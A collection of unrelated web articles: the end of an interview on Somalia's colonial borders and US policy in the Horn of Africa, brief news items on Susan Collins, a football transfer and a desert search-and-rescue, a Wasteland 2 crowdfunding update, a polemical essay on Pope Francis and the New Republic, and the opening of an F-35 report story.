colony in the South, and the British colony in the North. But Somalis were also living in some parts of Kenya, Ethiopia and Djibouti. The new Somali state adopted a star on its flag, each branch representing one part of the historical Somalia. The message behind that symbol: “Two Somalias have been united, but three are still colonized”. Facing the legitimacy of those claims, the British – who controlled Kenya-, organized a referendum in the Kenyan area claimed by Somalia. 87% of the population, composed mainly of Somali ethnics, voted for the Somali unity. When the results were published, Jomo Kenyatta, a Kenyan nationalist leader, threatened the British to throw the colonists out if they gave a part of the territory up to Somalia. So Great Britain decided not to take the referendum into account, and today an important Somali community is still living in Kenya. You must understand that those colonial borders were a real disaster in the Somali case. The border issue was besides the object of an important debate among the African continent. What was the issue of that debate? In the sixties, as many African countries became independent, there was a debate between what we called the Monrovia and the Casablanca groups. This later, including among others Morocco and Somalia, resolved that the borders inherited from colonialism be discussed. For them, those boundaries had no legitimacy. But most of the African countries and their borders are colonialism products. Finally, the Organization of African Unity (OAU), the ancestor of the current African Union, closed the debate by decreeing that the borders were indisputable: going back over those boundaries would provoke civilian wars everywhere on the continent. Later, one of the OAU architects, the Tanzanian Julius Nyerere, confessed that this decision was the best but that he regretted the Somali outcome. What will be the impact of the colonial divisions on Somalia? They will create strains with neighboring countries. During those years when Somalia advocated for revising the borders, Ethiopia became a US imperialism bastion. The United States had also military bases in Kenya and Eritrea. At this moment, Somalia, a young pastoral democracy, wished to build its own army. The goal was to not appear weak in front of the armed neighbors, to support Somali movements in Ethiopia and even to regain by force, if necessary, some territories. But the western forces were opposed to the creation of a Somali army. So Somalia had tense relations with its neighbors. Was it not reasonable to be opposed to this Somali army project? It would have provoked wars, wouldn’t it? The West did not care about conflicts between Africans but its own interests. The United States and Great Britain were providing and training militaries in Ethiopia, Kenya and Eritrea. Those countries were still under the yoke of very repressive feudal systems. But they were also neocolonial regimes devoted to Western interests. On the other hand, the power in place in Somalia was more democratic and independent. So the West had no interest in providing for a country that could escape its control. As a consequence, Somalia decided to turn to the Soviet Union. This frightened the Western forces that feared Soviet influence stretching in to Africa. Those fears became more important with the 1969 putsch. What do you mean? Socialist ideas were spread in the country. An important Somali community was indeed living in Aden in South Yemen. However, this is where Britain used to exile persons it considered dangerous in India: communists, nationalists and so on. They used to be arrested and sent to Aden where nationalist and revolutionary ideas quickly developed and affected later both Yemenites and Somalis. Under the influence of civilians with Marxist ideas, a coup d’état was led by officers in 1969 and Siad Barre took power in Somalia. What were the reasons of that coup d’état? The Somali government was corrupted. He had however the cards in hand to erect the country to the great regional power rank: a strategic position, only one language, one religion and many common cultural elements. This is fairly rare in Africa. But, by missing the economical development of the country, this government has created a context favorable to divisions among clans. Under the pretext of doing politics, Somali elites become divided. Everyone created his own political party, without any real program, and recruited voters among the existing clans. This increased the divisions and turned out to be totally useless. A democracy in a liberal type was in fact unsuitable for Somalia: there were at once 63 political parties for a three million population country! And the government was even not able to adopt an official script, which was creating serious troubles in the administration. Education was weak. Bureaucracy, police and army were, however, established. This later will play a key role in the progressive coup d’état. “Progressive”! With the army? The army was the only organized institution in Somalia. As a repressive apparatus, it was supposed to protect the so-called civilian government and the elite. But for many Somalis coming from different families and areas, the army was also an exchange place where there were no borders, no tribalism, no clan divisions. This is how Marxist ideas from Aden circulated among the army. So the coup d’état was led by officers who were most of all nationalist. They did not have a good knowledge of socialism but they had sympathy for those ideas. Moreover, they knew what was happening in Vietnam, and that fed anti-imperialist feelings. The civilians, who knew Marx and Lenin’s teachings lacked a mass political party, supported the coup d’état and become the advisers of the officers who took power. What changes did the Somali coup d’état bring about? One important positive aspect: the new government quickly adopted an official script. Likewise, the Soviet Union and China were helping Somalia. The students and the population mobilized themselves. Education and social conditions were enhanced. The years that followed the coup d’état were in fact the best ones that Somalia never knew. That is, until 1977. What happened? Somalia, which has been divided by colonial forces, attacked Ethiopia to get the territory of Ogaden back. Ogaden was mainly populated by Somalis. At this time however, Ethiopia was itself a socialist state supported by the Soviets. This country had been led for a long time by Emperor Selassie. But in the seventies, there was an important mobilization to overthrow him. The students’ movement, in which I personally participated, made four major demands. First, to nonviolently and democratically resolve tensions with Eritrea. Secondly, to establish a land reform that would distribute the lands to the peasants. Thirdly, to establish the principle of equality among the nationalities; Ethiopia was a multinational country led by elite who did not represent the diversity. Fourthly, to abolish the feudal system and to establish a democratic state. As in Somalia, the army was the only organized institution in Ethiopia and the civilians joined the officers to overthrow Selassie in 1974. How did two socialist states, each supported by the Soviet Union, enter conflict? After the Ethiopian revolution, a delegation including Soviet Union, Cuba and South Yemen organized a round table with Ethiopia and Somalia in order to resolve their contradiction. Castro went to Addis Abeba and Mogadishu. To him, Somali claims were justified. Finally, the Ethiopian delegation agreed to seriously seriously its Somali neighbor’s demands. The two countries made an agreement stipulating that no provocation should happen as long as no decision has been taken. Things seemed to start well but Somalia did not honor the agreement… Two days after the Ethiopian delegation returned to its country, Henry Kissinger, a former Nixon Secretary of State, turned up to Mogadishu. Kissinger was representing an unofficial organization: the Safari Club that was among others including Shah’s Iran, Mobutu’s Congo, Saudi Arabia, Morocco and French and Pakistani intelligence services. The objective of that organization was to fight against the Soviet infiltration in the Gulf and in Africa. Under the Safari Club pressures and help promises, Siad Barre committed a disastrous strategic mistake of attacking Ethiopia. What were the consequences of that war? Soviets left the region. Somalia, still led by Siad Barre, integrated the neocolonial network of the imperialist forces. The country had been seriously damaged by the conflict and the World Bank and the IFM were in charge of “rebuilding” it. This has aggravated infighting among Somali bourgeoisie. Each regional elite wanted to have its own market. They made the divisions among the clans’ worst and contributed to the progressive dislocation of their country up to Siad Barre’s fall in 1990. Since that, any head of state succeeded to him. But, thirty years after the Ogaden war, the opposite scenario happened: Ethiopia was supported by the United States to attack Somalia… Yes, as I said, since the Restore Hope failure, United States has preferred to keep Somalia in chaos. However, in 2006, a spontaneous movement developed under the Islamic courts to fight against the local warlords and bring unity to the country. It was a kind of Intifada. In order to stop this movement from rebuilding Somalia, United States decided suddenly to support the Transitional Federal Government (TFG) after having refused to recognize it before. In fact, they realized that their project of a Somalia without effective state was no more possible: a movement – furthermore Islamic!- was about to lead to a national reconciliation. In order to sabotage the Somali unity, United States decided to support the TFG. But this later was lacking any social basis and an army. So the Ethiopian troops, commanded by Washington, attacked Mogadishu to overthrow the Islamic courts. Did it work? No, the Ethiopian army was defeated and had to leave Somalia. On their side, the Islamic courts were dispersed in several movements that still control a big part of the country today. As for Abdulla Yusuf’s transitional government, he collapsed and United States replaced it by Sheik Sharif, the former Islamic Court spokesman. So Sheik Sharif has passed to “the other camp”? He used to be the Islamic courts spokesman because he is a good orator. But he has no political knowledge. He has no idea what imperialism or nationalism are. That is why western powers took him back. He was the Islamic court’s weak link. Today he chairs a fake government, created in Djibouti. This government has no social base or authority in Somalia. It only exists on the international level because the imperialist forces support it. In Afghanistan, the United States said they were ready to negotiate with Taliban. Why don’t they look for discussing with the Islamic groups in Somalia? Because those groups want to take the foreign occupier over and to allow a national reconciliation for the Somali people. As a result, the United States wants to break those groups: a reconciliation, through the Islamic movement or through the TFG, is not in the interests of the imperialist forces. They just want chaos. The problem is that today, this chaos reached Ethiopia too, which is very weak since the 2007 aggression. A nationalist resistance movement came to the light over there to fight against the pro-imperialist government of Addis Ababa. With their chaos theory, United States had in fact created troubles in the whole region. And now, they took it out on Eritrea. Why? This little country leads an independent national policy. Eritrea also has a vision for the whole region: the Horn of Africa (Somalia, Djibouti, Eritrea, Ethiopia) do not need foreign powers’ interference; its wealth should allow it to establish new economical relationship on the basis of mutual respect. According to Eritrea, the region must get it together and its members must be able to discuss about their problems. Of course, this policy frightens United States that fears that other countries follow that example. So they accuse Eritrea of sending weapons to Somalia and instigating troubles in Ethiopia. Isn’t Eritrea sending weapons in Somalia? Not even a bullet! This is a pure propaganda as they did against Syria about the Iraqi resistance. Eritrea’s vision catches up with the project of Indian Ocean revolution that we spoke about before. The western powers do not want of that and wish to bring Eritrea back to the circle of the neocolonial states under control, such as Kenya, Ethiopia or Uganda. Are there no terrorist in Somalia? Imperialist powers have always labeled as terrorists the people who fight for their right. Irishmen were terrorists until they signed an agreement. Abbas was a terrorist. Now, he is a friend. But we heard about Al Qaeda in Somalia? Al Qaeda is everywhere, from Belgium to Australia! That invisible Al Qaeda is a logo designed to justify to the public opinion military operations. If United States say to their citizens and soldiers: “We are going to send our troops into the Indian Ocean in order to probably fight against China”, people would be afraid of course. But if you tell them that it is just about fighting piracy and Al Qaeda, it won’t be a problem. The real goal is however different. It consists in setting forces in the Indian Ocean region that will be the theater of major conflicts in the coming years. This is what we will analyze in the next chapter… Mohamed Hassan is a geopolitics and Arab world specialist. Born in Addis Abeba (Ethiopia), he participated in student movements on the occasion of the socialist revolution of 1974 in his country. He studied political science in Egypt before specializing in public administration in Brussels. As a diplomat for his country of origin, he worked in Washington, Beijing and Brussels. Co-writer of L’Irak sous occupation (EPO, 2003), he has also contributed to books about Arab nationalism, Islamic movements and Flemish nationalism. He is one of the best contemporary experts on the Arab and Muslim world. Understanding the Muslim World with Mohamed Hassan – Previous chapters: Yemen: USA are fighting against democracy, not against Al-Qaeda What should Ahmadinejad do to get the Nobel Price? Afghanistan – Pakistan: the black hole of the empire The Darfur crisis: blood, hunger and oil “Gaza is a normal place with normal people” How can we explain the success of Hamas ? To examine the subject in depth, Mohamed Hassan recommends the following publications: Mohamed Omar, The Road to Zero: Somalia’s Self-Destruction, Haan Publishing,1993 Babu, Abdul, Rahman Mohamed. African Socialism or Socialist Africa? Londres, Zed Press, 1981, 190 p. Hersi, Ali Abdirahman, The Arab factor in Somali history : the origins and the development of Arab enterprise and cultural influences in the Somali Peninsula, Thesis–University of California, Los Angeles, 1977 Michel Caraël, La ruine du pansomalisme, in Le Monde diplomatique, octobre 1982 Mahmood Mamdani, Good Muslim, Bad Muslim: America, the Cold War, and the Roots of Terror, John K. Cooley, Unholy wars: Afghanistan, America and International Terrorism, Pluto Press, 2000 John Drysdale, Whatever Happened to Somalia?, Haan Publishing, 1994 Translation review: Fausto Giudice -Susan Collins dismisses Palin presidential bid By Rachel Weiner On Tuesday, Rep. Spencer Bachus (R-Ala.) made headlines for saying Sarah Palin cost Republicans the Senate. (Some analysis of that claim here.) Now Sen. Susan Collins (R-Maine) is throwing cold water on the idea of a Palin 2012 run. She told the Kennebec Journal: "I think she likes being a celebrity commentator for Fox and a speaker and being able to provide for her family," Collins said. "I think that life appeals to her. It's a lot easier to charge people up than to actually govern." Collins also argues that moderates like herself will still have power in the new Congress. She says that as soon as he won, Senator-elect Mark Kirk (R-Illinois) called her up to say, "I can't wait to join your Mod Squad." -Skip Holtz has scored his second big win against his alma mater in less than a calendar year. The South Florida coach will add former Notre Dame defensive end Aaron Lynch to the Bulls' roster in 2012, the school announced Monday. "With Aaron originally being from Florida, we're very familiar with the kind of player he is," Holtz said in a news release. "Aaron had a great freshman season at Notre Dame and we're excited to welcome him into the Bulls family." The Irish announced April 13 that Lynch would transfer at the end of the spring semester. Lynch, a Cape Coral, Fla., native, earned freshman All-American honors in 2011, recording team bests of 5.5 sacks and 14 quarterback hurries, in addition to 33 tackles, seven tackles for loss and a forced fumble. He played in 12 games and started six. Barring a waiver from the NCAA to play immediately, Lynch will have to sit out the 2012 season. Lynch's first college game was the Sept. 3 opener against USF, which upset the Irish, 23-20, in South Bend, Ind. With former Notre Dame and current New York Giants defensive end Justin Tuck in town over the weekend to serve as an honorary captain for the Irish's spring game, Lynch's mother, Alice, posted a message to Tuck on Twitter asking him to talk Lynch into staying at Notre Dame. It proved to be too little, too late, as the 6-foot-6, 270-pound Lynch is heading home to Florida. Holtz, the Bulls' coach, is the son of ESPN analyst and former Notre Dame coach Lou Holtz. -I have received many a question about details of the game and this video will help shed a bit more light. We will communicate all of the remaining points of our vision shortly after we start production next week and after we have spent more time on the forums. We want to get fan feedback on a few more items before we solidify our final vision document. I did want to give some detail on what the definition of a party based game was since there seems to be some confusion. In specific terms you will be creating and customizing four Rangers at the start of the game and typically you would give each of them different skills to create experts in certain fields. Skills in Wasteland range from lock-picking to bomb disarming to even toaster repair. This creates the dynamic of having players taking very different approaches to exploring the world. In addition there will be three slots for non-player characters to join the party. They will be similar in most respects to a player created member except you will not have 100% control over them. They will have quirks that could range from momentary indecision with them not firing their weapons at an opportune time, to being trigger happy and wasting ammo or even stealing from your characters. This opens up a wide range of possibilities on which NPCs you decide to have join your ranks. And while we have brought Obsidian into the mix, I think it is important to note that this is my baby, and I will be producing it and managing the programming here at inXile. There seemed to be some confusion on whether it will be a joint production, but the main facets of our involvement are with the use of their tools for asset integration and the design talents of Chris Avellone. Part of the charm and variety of Wasteland 1 came from the way different designers would approach their areas, and I wanted the same dynamic again. Only this time we have added the brains of Chris into the mix, and I am betting he will add ideas to Wasteland 2 that would have never been in the game otherwise. Due to popular demand, we have added a backer only T-shirt to the rewards. Here is a preview of what a few of the shirts will look like. I hope you find the video useful. We are now in the final stretch.... -ST. GEORGE — Saturday night, police officers were notified that at dusk a 17-year-old boy had run from a youth wilderness program’s campsite in a rugged, uninhabited area of desert backcountry close to an area known as Jackson Springs near the Gunlock Reservoir. On the way to search for the boy, a member of the Washington County Sheriff’s Search and Rescue team lost control of his Jeep on the unpaved Motaqua Road, causing the vehicle to roll. The SAR member was hospitalized and later found to have a concussion, while the search resumed for the boy. In the dark, rescue teams, some in all-terrain vehicles others on-foot, dispersed throughout the backcountry near Jackson Springs and Pachoon Flats. The boy was said to not have a flashlight or food, and only a small amount of water. About 15 of the 70 SAR members in Washington County helped search for the boy, Washington County Sheriff’s Deputy Darell Cashin, who manages the SAR team, said. All of the SAR members on Cashin’s team are nonpaid volunteers, and the majority of them use their own equipment, vehicles, and in this case, tracking dogs during rescues. In this instance, the Jeep that rolled was a personal vehicle of the SAR member who was driving it toward the lost boy. The visibility on the dirt road was poor because of dust from the convoy of SAR vehicles, Cashin said. Cashin was following two cars behind the Jeep on a dirt road and saw the Jeep roll. “He came around this corner and just washboarded and turned his Jeep,” Cashin said, “flipped onto his side and knocked him out.” He had no broken bones and there was no bleeding, but the SAR member sustained a concussion and was transported by ambulance to the Dixie Regional Medical Center, Cashin said. He was checked out at the hospital and later cleared to leave. While their team member was hospitalized, the rest of the SAR team arrived at the campsite from where the boy ran and began the search. Most of the team spread out in Jeeps or ATVs, looking for the boy. One team that was on foot caught the boy’s scent with help from a tracking dog. With help from the K-9, they followed the boy’s scent and found his footsteps for a time but lost both his steps and his scent once they came upon a road. For the next five-six hours the SAR teams continued looking for the boy as the night turned to early morning. At approximately 2 a.m. the teams were notified that the boy had been located. “He ran out of what little water he had and was wandering around in the desert,” Cashin said. The boy had walked into a nearby camp, cold, hungry and thirsty and the person who was camping there drove to an area with cell phone service and let the police know that he had the boy. The camper then turned the boy over to a Washington County Sheriff’s Deputy who turned him back over to the wilderness program. The boy was checked out by medical personnel and, although cold and thirsty, he had no other reported medical problems. The boy’s mother, who lives in Maryland, was also notified, Cashin said. As far as the SAR member with the concussion, he shouldn’t have to pay for any medical bills, Cashin said. Although the rescuers are unpaid, they are covered by the Worker’s Compensation Fund. “These guys risk themselves every time we go out,” Cashin said. “I don’t want to place blame … it was just a bad situation last night.” This late night search capped a significantly busy three days for Washington County’s Search and Rescue teams. It’s fairly typical for SAR to have only one rescue every week or two, Cashin said. But the last three days, SAR has had four searches. Thursday afternoon, SAR assisted in rescuing a mountain biker who ended up Life Flighted to the hospital; Friday, for about five hours, 25 SAR members searched the Arizona Strip for a suicidal man, and Saturday, not only did they search for the runaway teen, SAR also assisted 10 mountain bikers who were lost in the dark in the Red Cliffs Reserve. Out of all these incidents, everybody returned safely and no one else got hurt, Cashin said. “And that’s all that matters … things can be fixed but people can’t. “I cannot say enough about these (Search and Rescue) guys.” The SAR members work for free and many of them take time off from work to go search, Cashin said. They pay for their own training, and they use mostly their own equipment that they pay for themselves. “With as many people as we have using all these beautiful recreational areas … they save the citizens of the county so much,” Cashin said. “For these guys to take time off of work and come out there, I’m just so thankful for them.” That being said, Cashin does everything he can to help the team with the resources he has. Although SAR does get an operational budget each year from Washington County, SAR relies mostly on donations and charity from the community. The operational budget pays for things like fuel, food, water, and sometimes repairs on equipment. Anyone interested in donating funds or support can do so at the Washington County Sheriff’s office. A donation fund is available and money can be designated to the Search and Rescue. Related Posts: Email: dallred@stgnews.com Twitter: @STGnews Copyright St. George News, SaintGeorgeUtah.com LLC, 2014, all rights reserved. -As a “vertically integrated digital media company,” the investment fund known as the New Republic still produces dead-tree editions to keep up appearances. Once the flagship magazine of American liberals — the white ones, anyway — it also must keep up appearances in an ideological sense despite the billionaire CEO Chris Hughes, the spouse of a failed Democratic congressional candidate, taking the company in a more capitalistic direction. For example, the cover story in this month’s issue is a tissue of misrepresentations by a self-styled Christian socialist about conservative and traditional Catholics. In a long and highly personal essay, staff writer Elizabeth Stoker Bruenig chastises critics of Pope Francis for raising doubts about some of his policy prescriptions and his alleged desire to “bring the Church into the modern age.” She writes: Pope Francis approaches the past with dialogue, not mere deference, in mind. He knows that the only useful approach to the past is to recognize it as a work in progress. This has the effect of imbuing accumulated tradition with no special authority over current conclusions. … From that alone conservatively disposed Catholics might flinch. The piece has come under criticism from some Catholic writers who see her as misunderstanding the papacy, which, as Pope Emeritus Benedict XVI put it, “is bound to the Tradition of faith … it is not unlimited; it is at the service of Sacred Tradition,” rather than a kind of absolute monarchy. The people Bruenig aims her polemic at are the ones who think, when approaching the past with “dialogue, not mere deference, in mind,” one should still keep in mind that it’s louder than we are. The piece doesn’t get much deeper than quoting a few policy-based objections to statements of Francis’s and implying the ones who said them are vaguely disloyal and full of “fear.” This in itself is a bit misleading; the right-leaning journal Crisis ran a piece just recently counseling conservatives to calm down, so the idea that they’re all of a mind with Sean Hannity on this is arrant nonsense. “In [Bruenig’s] mind, it’s not possible for conservative and traditional Catholics to have mindful reservations about Francis; they are acting out of emotionally driven animus,” wrote Gabriel Sanchez at the blog Opus Publicum. “In the worldview of Bruenig, the pope can do anything,” said Dr. Adam DeVille in the Catholic World Report this week, adding that her sense of “papal maximalism … and this cult of personality surrounding the papal office are un-traditional, un-historical, un-theological, un-ecumenical, and unhealthy.” Both writers take Bruenig to task for describing the pope as “the world’s most renowned Christian theological guide.” It’s a point of view that causes Church history to collapse into absurdity; one could say Saint Paul should have kept his mouth shut about the “workable synthesis” of Mosaic law and the Gospel instead of confronting Saint Peter at Antioch. Damon Linker argued earlier this week at The Week that “the pope isn’t a radical at all; that if I’m wrong and he actually is a radical, then conservatives are perfectly capable of and justified in criticizing him.” Indeed, none of this is necessarily to the point if Francis isn’t a “radical pope.” On that, Bruenig tries to have it both ways, noting (truthfully) that he has presided over no substantial changes so far. Yet to argue that nothing has changed, but also say Francis seems to have a taste for it and anyway change is good, is a bit too clever, suggesting something about the priorities of the author. How does she know the Church is ready for a radical pope? Or that Francis is one? Or that such a pope would be a good thing to have? Graduate school, obviously. Much of the cover story — three separate sections — is devoted to Stoker Bruenig’s intellectual development at Cambridge under the tutelage of Fr. John Hughes, a proponent of a school of thought known as “radical orthodoxy,” a program of using Christian principles to critique modernity in ways that are often hostile to capitalism (a school which, for the record, I happen to have a lot of sympathy for). Fr. Hughes passed away in a tragic car accident last year. He is referred to as a priest twice, and as Father John twice, which, in a piece about the pope, would give you the impression that he was a Catholic priest, wouldn’t it? Well, he wasn’t, he was an Anglican priest, and that isn’t mentioned anywhere in their cover story. This should not have gotten past their fact checkers, if Chris Hughes has bothered to keep any on. I was not the only one who read the piece and got the impression Fr. Hughes was Catholic, which shows a note of clarification is needed. (He sounds like a wonderful teacher, and I’m sure his thoughts on Catholic theology were insightful; I don’t mean to gainsay that at all. But facts are important.) I pointed this out on Twitter last Monday night, and a week later it still hasn’t been fixed, so obviously Stoker Bruenig and the New Republic’s editorial staff don’t agree. When I first pointed it out, Bruenig began to dissemble, tossing out an ad hominem about being criticized by an “ensemble of white males.” Apparently it is to “be a jerk about a well beloved deceased priest” if you suggest it’s relevant what kind of priest he was. She also said she “presumed people would know Cambridge = CofE.” For an advocate of the poor, this sure assumes a lot of knowledge about how Cambridge works. At this point it’s safe to assume that the New Republic doesn’t view the distinction between Anglicanism and Catholicism as significant enough to be worth noting in a cover story about the pope. They both have bishops and stuff, what’s the difference? The bigger question is whether this elision is related to bigger issues in the piece, some of which have been pointed out by others. I submit that it is. Like the way Bruenig describes tradition, which is far more akin to the “threefold cord” of Anglicanism: The present and the past must speak as equals, as both are works of human effort. … Francis’s handling of tradition and modernity privileges neither, but rather produces a workable synthesis of their contributions. If this is true, then, pace Linker, there is indeed cause for concern, because it isn’t really the pope’s job to produce “a workable synthesis” of modernity and tradition. The pope isn’t a glorified Archbishop of Canterbury. **The analogy is even more apt because in Bruenig’s understanding of this modern synthesis, in lieu of deferring to the past or sacred tradition, the Church defers to the secular state. More on that later. Whether or not Francis is interested in changing the Church’s teaching on things like homosexuality and communion for divorcees is, again, debatable, but there are reasons to believe other clergy are, because they’ve said so. Stoker Bruenig doesn’t even bother to mention them, a fact New York Times columnist Ross Douthat pointed out on Twitter: @yeselson @ebruenig It's a lovely essay that only lacks for a rebuttal to the theological arguments in question 🙂 — Ross Douthat (@DouthatNYT) March 9, 2015 @yeselson @ebruenig And if Elizabeth thinks reforms being proposed by Walter Kasper are theologically sound, I want to read *that* case. — Ross Douthat (@DouthatNYT) March 9, 2015 Douthat alludes to a number of German ecclesiastics who are prepared to tweak the Church’s teaching in various ways, even threatening to go their own way if they don’t get what they want. The head of the German bishops conference even suggested young people who want “to be clear in their positions” have embarked on “the beginning of terrorism,” using rhetoric that is, frankly, similar to Stoker Bruenig’s. She even quotes Cardinal Kasper for support of Francis’s alleged radicalism; he says the pontiff “does not represent a liberal position, but a radical position, understood in the original sense of the word as going back to the roots, the radix.” What Kasper proposes amounts to a break with tradition; if we are leaves or twigs, to cut off our branches to return to the roots entails dismemberment and decomposition. But we’ll get to that later. Suffice it to say that this concept is very enamoring for those looking for a precedent for their radicalism. The popularizer of the #fullcommunism meme likes it too: The joke’s on them, since white nationalists have already staked a claim on that bit of nomenclatural topography. Radix Journal exists, and they wouldn’t like it. This is an excellent place to bring up how the liberalizers’ commitment to diversity quickly turns to condescension the moment minorities don’t play the roles that have been appointed for them. Last year Cardinal Kasper caused a minor scandal when he said the views of African prelates on homosexuality were informed by a cultural “taboo,” and that “they should not tell us too much what we have to do.” You see this attitude in a secular context in the progressive attitude toward blacks who voted overwhelmingly for traditional marriage in Alabama; their votes don’t matter because a wealthy, largely white alternative-sexualities lobby has decided to use federal courts to overrule them. They shouldn’t tell us too much what to do, after all. And they definitely shouldn’t get to decide for themselves. Acting racist toward more tradition-minded clerics from the Third World is a recurring motif among liberalizers, especially in the Anglican Communion. Archbishop of York John Sentamu has been the recipient of a fair amount, and he’s not even all that much of a traditionalist, he just thinks they should be accommodated. In 1998, Bishop John Spong of Newark, who worked to build an “atheistic” Christianity, famously said that, “Scientific advances have given us a new way of understanding homosexual people. At the Lambeth Conference and in dealing with the Third World this knowledge hasn’t percolated down.” Most of the people Bruenig criticizes are white. But there’s a certain similarity between these criticisms of African clergy and the suggestion that American conservatives and traditionalists are nothing but fearful and superstitious. Her comments on liturgical traditionalists are even worse. There is a much-acclaimed shift among the Millennial generation back to more high-church forms of worship, including historic liturgies, and away from the amorphous ones of both our mainline Boomer parents and rock band evangelicals. It seems pretty uncharitable to look at one of these people, casting about for a style of worship that reflects the grandeur of God, and then tell them that that want to recover old forms is to “relate to the past in a wholly modern way” and then compare them to “those who ignored climate change.” Even if there’s some merit to this line of argument, it applies more to progressive Episcopalians than Latin Mass Catholics. For example, Jonathan Merritt recently wrote about Rachel Held Evans, a young writer whose “thinking has become increasingly progressive — especially on hot button theological issues such as gender and sexuality. This shift culminated in her leaving evangelicalism for Episcopalianism.” Generally speaking, I think the trend toward high-church worship is a wonderful thing, but it’s important that it express a commitment to catholicity rather than a kind of cultural elitism. It would be a real shame for all this energy to be directed into a body that has badly neglected its responsibilities to the Body of Christ. The Episcopal Church’s heterodoxy on gay issues has put the entire Anglican Communion in a state of flux — maybe Bruenig would call it “dialogue” — with the Lambeth Conference indefinitely postponed. For any but the most devout practitioner of the progressive religion that price is much too high. Evans goes on to offer a self-righteous gloss on the decline of mainline churches everywhere; that the church needs to die to be reborn; “Lately I’ve been wondering if a little death and resurrection is exactly what the American church needs. What if all this talk of waning numbers and shrinking influence means our empire-building days are over and it’s a good thing?” That seems like wishful thinking wrapped up in a misguided analogy to me; supposing the Church regularly reincarnates itself is incompatible with the idea of an apostolic faith and Christ’s promise to be with us until the end of the age. But almost more striking is the fatalistic kind of progressive amor fati; progressive unto death. As a former Anglican, it baffles me that this is a road smart people like Cardinal Kasper seem to want to go down. It leads to confusion, isolation, and as some of the more honest progressives admit, death. The Church is not an empire either, and God-willing, that temptation will be resisted. The Anglican tradition has a long and sordid history of pseudo-Erastianism, which continues today in the Episcopal Church’s advocacy for Obamacare, and Gene Robinson and an Episcopal health ministry official getting cushy fellowships at the Center for American Progress. The WASPs may be gone, but the Episcopal Church’s empire-building days ain’t over. Indeed, you could say the corollary to thinking the Church is an empire is a deference to the state as an agent of liberation, which brings us back to Bruenig, who has written: “A stateless response to poverty has not been part of Christian tradition for some time, and to address poverty without implicating politics at this point in history would be nearly impossible.” And this: “If the state is here to recognize and protect property rights, then the state must recognize that the excess of the wealthy quite literally is the property of the poor, and act accordingly. Just as the state would work to retrieve a stolen article, it must retrieve the hoarded wealth being stolen from the poor, and deliver it to them.” These are interesting statements. The remarkable thing about Stoker Bruenig’s point of view, in comparison to her mentor’s, is its lack of radicalism or orthodoxy, more akin to a social gospeler than Moses Coady. There’s practically nothing about it that wouldn’t be at home in the Democratic National Committee. There is no sense of scale or subsidiarity in Bruenig’s political thinking, as if the government that can supposedly end poverty isn’t the same one that aspired to make the world safe for democracy or established an unlimited right to abortion. This also gives short shrift to the Church itself as a force of social transformation. This program has a kulak to go with it; the conservatives and traditionalists she gestures at in the piece while quoting Sean Hannity. In the Episcopal Church, this scapegoating has taken the form of a program of state-sponsored confiscation by lawsuit — right up Stoker Bruenig’s alley — of parish buildings belonging to conservative congregations that voted, sometimes overwhelmingly, to depart from the ever-more-battily-progressive Episcopal Church. There’s a lesson here, that the left doesn’t extend the same latitude it asks for when out of power. The legal standard privileging congregational self-determination with respect to church buildings was established in the famous King’s Chapel case in 1787, when the first American Anglican bishop Samuel Seabury — consecrated by non-juring Scottish bishops — refused to ordain the new rector of a Boston church, a Harvard man (of course) because of his turn to Unitarian theology. So they went their own way. Today, the Episcopal Church still fights for nearly every church building, but the dissenters are on the right, not the left. This is an Episcopalian dispute — not that it matters to the New Republic — but the Catholic parallel is a kind of liberal clericalism that has arguably been emboldened under Francis’s papacy, of which Bruenig’s piece is a good representative. Just recently, the CEO of the Toronto-based Salt and Light Media Foundation and Television Network, Rev. Thomas Rosica, threatened to sue a traditionalist Catholic blogger. After becoming something of a cause célèbre in the blogosphere Rosica called it off, evidently unable to “dialogue” his way out of St. Paul’s admonition about suing other Christians in secular courts. One could say the Church of England was built on an alliance between liberal theology and a secular state, and that’s worked out relatively well for them, to be honest. But it was maintained with substantial violence, and today it is not much healthier than its trans-priest-inclusive American offshoot. That’s why I’m not as enthusiastic as Stoker Bruenig about this: Consider … [Pope Francis’s] remarks on financial inequality, in which he called for a “legitimate redistribution of economic benefits by the state, as well as indispensable cooperation between the private sector and civil society.” Pundits like Fox News host Sean Hannity erupted into paroxysms of anxiety, speculating that the Pope had some newfangled socialist schema in mind. Meanwhile, conservative leaders such as Catholic League President Bill Donohue offered only a lukewarm defense of their pontiff, deflecting outrage by arguing that Francis’s remarks were not really as radical as they seemed. Pope Francis made the comments in question to the United Nations last May, and the phrase “called for” does a little too much work here; he just said it had a role to play in “equitable development.” But it wasn’t just Hannity and Bill Donohue who were concerned by them. Legendary blogger Fr. John Zuhlsdorf wondered, “When has any ‘State’ done this effectively? And what does ‘legitimate’ mean? According to laws that are passed? And if the laws are bad laws? And who will administrate it?” It’s a sure bet that someone who doesn’t take these questions seriously is concerned with power, not justice. Pope Francis’s use of the word “legitimate” certainly suggests questions about where authority lies and how it is exercised can’t be passed over. Unless you happen to know a godly king languishing in crownless obscurity whom we ought to restore, these are exigencies we just have to deal with in our nominally republican system, but Stoker Bruenig acts like it’s just a matter of bigger budgets for the Department of Housing and Urban Development. For the record, I’d be more comfortable knowing my money was well spent on a tax for the relief of the poor levied by a Catholic monarch than one passed by Congress in a secular nation-state and enforced by the IRS. Is that so insane? That a king’s sense of social justice might in some instances be better than the choices expressed by a hundred million meaningless votes, mediated through a duopoly, a zillion special interests, and what’s left of a constitutional process? This arrangement makes villains out of Republicans too, with even Reagan and especially Bush the Younger busting budgets and leaving it for the Democrats to clean up, a strategy Irving Kristol endorsed. It’s not like the conservatives who stick in Bruenig’s craw don’t have a leg to stand on. The social teaching of the Catholic Church presents significant obstacles for a Christian socialist, chiefly its condemnations of socialism. Reconciling those issues seems like it ought to be an important task for someone who describes herself that way, but so far Stoker Bruenig seems more interested in reminding the world that Ayn Rand is in hell than tackling these more interesting things. Indeed, bashing nasty conservatives and harmless libertarians is all she seems interested in doing. Whether you’re Michael Novak or a Tridentine Mass goer, you’re all not only wicked reactionaries, but worst of all, modern ones, just symptoms of a benighted country “full of crypto-fascists,” clearly more loyal to Goldman Sachs and the GOP than the pope. When the dictatorship of the proletariat is established, if the socialists behave toward their enemies the way self-styled Christian socialists behave toward theirs now that they’ve got a pope they think agrees with them, the rest of us will be in for a rough time. -A U.S. defence and foreign affairs think tank released a comprehensive report today suggesting the oft-maligned F-35 might not meet the performance standards of current fighters, including Canada's CF-18s. The National Security Network, a non-profit foreign policy group based in Washington, D.C., is the latest organization to raise questions about the stealth fighter program, which is over budget and behind schedule in the U.S. The report compares F-35's operational capabilities with the jets it is intended to replace, including the F-16, 